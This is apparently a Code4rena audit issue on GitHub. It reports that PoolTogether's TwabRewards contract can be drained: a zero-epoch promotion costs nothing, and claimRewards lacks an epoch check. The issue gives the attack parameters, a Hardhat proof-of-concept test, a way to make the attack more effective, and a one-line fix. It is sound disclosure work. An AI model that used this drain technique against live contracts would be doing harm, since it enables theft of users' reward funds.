code-423n4 / 2021-12-pooltogether-findings

0 stars 0 forks source link

Can drain any promotion rewards #73

Closed code423n4 closed 2 years ago

code423n4 commented 2 years ago

Handle

gzeon

Vulnerability details

Impact

There are no checks to make sure _epochId < _numberOfEpochs in claimRewards. This allow one to create a promotion with 0 epoch without cost, and drain any promotion rewards

Proof of Concept

Attacker can create a promotion with the following configuration:

    address _ticket = someTicket
    IERC20 _token = targetToken
    uint216 _tokensPerEpoch = targetToken.balanceOf(TwabRewards)
    uint32 _startTimestamp = block.timestamp - 1
    uint32 _epochDuration = 1
    uint8 _numberOfEpochs = 0

Creation of such promotion require 0 targetToken since

_token.safeTransferFrom(msg.sender, address(this), _tokensPerEpoch * _numberOfEpochs);

Yet the attacker can immediately call claimRewards to drain the contract. An un-optimized POC as follow:

        it('should calim 0 from a promotion that cost', async () => {
            const promotionId = 1;

            const wallet2Amount = toWei('750');
            const wallet3Amount = toWei('250');

            await ticket.mint(wallet2.address, wallet2Amount);
            await ticket.connect(wallet2).delegate(wallet2.address);
            await ticket.mint(wallet3.address, wallet3Amount);
            await ticket.connect(wallet3).delegate(wallet3.address);

            await createPromotion(ticket.address);

            // Ensure wallet2(Attacker) have no rewardToken to start with
            expect(await rewardToken.balanceOf(wallet2.address)).to.equal(0);
            await twabRewards.connect(wallet2).createPromotion(
                ticket.address,
                rewardToken.address,
                10000000000,
                createPromotionTimestamp-1,
                1,
                0,
            );

            // Should claim 0 from a promotion that cost 0
            await expect(twabRewards.claimRewards(wallet2.address, promotionId+1, [0]))
                .to.emit(twabRewards, 'RewardsClaimed')
                .withArgs(promotionId+1, [0], wallet2.address, 0);

        });

claimRewards() should calim 0 from a promotion that cost 0: AssertionError: Expected "7500000000" to be equal 0

To optimize the attack, attacker can deploy a _ticket that he own 100% of the supply and set _tokensPerEpoch to targetToken.balanceOf(TwabRewards)

Tools Used

Hardhat with test case in https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/test/TwabRewards.test.ts

Recommended Mitigation Steps

  1. require(_epochId < _numberOfEpochs,'!reward') in claimRewards
PierrickGT commented 2 years ago

Duplicate of https://github.com/code-423n4/2021-12-pooltogether-findings/issues/1